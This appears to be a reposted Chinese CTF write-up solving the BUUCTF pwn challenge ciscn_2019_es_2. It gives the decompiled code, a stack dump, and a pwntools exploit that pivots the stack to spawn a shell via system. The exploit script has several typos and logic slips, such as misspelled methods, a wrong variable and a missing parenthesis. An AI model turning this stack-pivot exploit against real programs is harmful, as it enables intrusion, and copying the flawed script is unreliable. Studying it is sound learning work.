zoukankan      html  css  js  c++  java
  • 『BUUCTF』:PWN | ciscn_2019_es_2

    附件

    checksec查看防护:

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    IDA静态分析:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      init();
      puts("Welcome, my friend. What's your name?");
      vul();
      return 0;
    }
    Main

    主函数没有什么信息,接着查看vul()函数

    int vul()
    {
      char s; // [esp+0h] [ebp-28h]
    
      memset(&s, 0, 0x20u);
      read(0, &s, 0x30u);
      printf("Hello, %s
    ", &s);
      read(0, &s, 0x30u);
      return printf("Hello, %s
    ", &s);
    }

    可以实现栈溢出,但是溢出长度不够,能够覆盖到rbp,但是没有现成的后门函数。

    这题的解题方法为栈迁移,但是这题不同于一般栈迁移的地方在不将栈迁移到bss或者是data段,而是将栈迁移到栈上。通过第一次print获取到字符串s在栈上的地址,第二次写入fake栈并进行栈迁移。

    首先查看下溢出的长度为0x24+0x04,想要知道s的地址还需要知道ebp到s的距离为0xffffc1f8-0xffffc1c0 = 0x38,我们通过第一次print将ebp的地址泄露再算出s的地址。

    00:0000│ ecx esp  0xffffc1c0 ◂— 'aaaa
    '
    01:00040xffffc1c4 ◂— 0xa /* '
    ' */
    02:00080xffffc1c8 ◂— 0x0
    ... ↓
    08:00200xffffc1e0 —▸ 0x80486d8 ◂— push   edi /* "Welcome, my friend. What's your name?" */
    09:00240xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3c7 ◂— 0x6d6f682f ('/hom')
    0a:0028│ ebp      0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0

    exp写的很细:

    #coding:utf-8
    from pwn import *
    
    io = process("./program")
    context(arch = 'i386',os='linux',log_level='debug')
    
    system_addr = 0x8048400
    leave_ret = 0x08048562
    
    payload = 'a'*27 +'b'
    #这里的payload需要把ebp前面的空间填满,避免下面的print遇到x00截断,然后顺利得到ebp的地址。
    io.recvuntil("name?")
    io.send(payload)
    io.recvultil("aaab")
    #在·····aaaaaab之后就是ebp的地址了
    s_addr = u32(a.recv(4)) - 0x38
    print(hex(s_addr))
    payload2 = 'aaaa' 
    #给栈迁移后ebp留出来的空间
    payload2 += p32(system_addr)
    #这里是放入fake栈后的system_plt函数的地址,待会就是要执行这个函数了
    payload2 += ‘dead’
    payload2 += p32(s_addr + 0x10#这个位置应该是system的参数,但是程序中并没有现成的,所以只能把'/bin/shx00'写到后面,然后这里填s的地址加上16的偏移就是参数了,接下来就是把s填充满0x28,再后面的内容就是实现栈迁移了。
    payload2 += payload2.ljust(0x28,'c')
    payload2 += p32(s_addr) + p32(leave_ret)
    io.send(payload2)
    
    io.interactive()
  • 相关阅读:
    jQueryEasyUI
    AJAX
    SWFUpload批量上传插件
    jQuery工具函数
    jQuery之Jcrop
    jQuery插件之jqzoom
    jQuery插件之artDialog
    jQuery插件之ajaxFileUpload
    jQuery插件之Cookie
    jQuery插件之Form
  • 原文地址:https://www.cnblogs.com/Zowie/p/13511906.html
Copyright © 2011-2022 走看看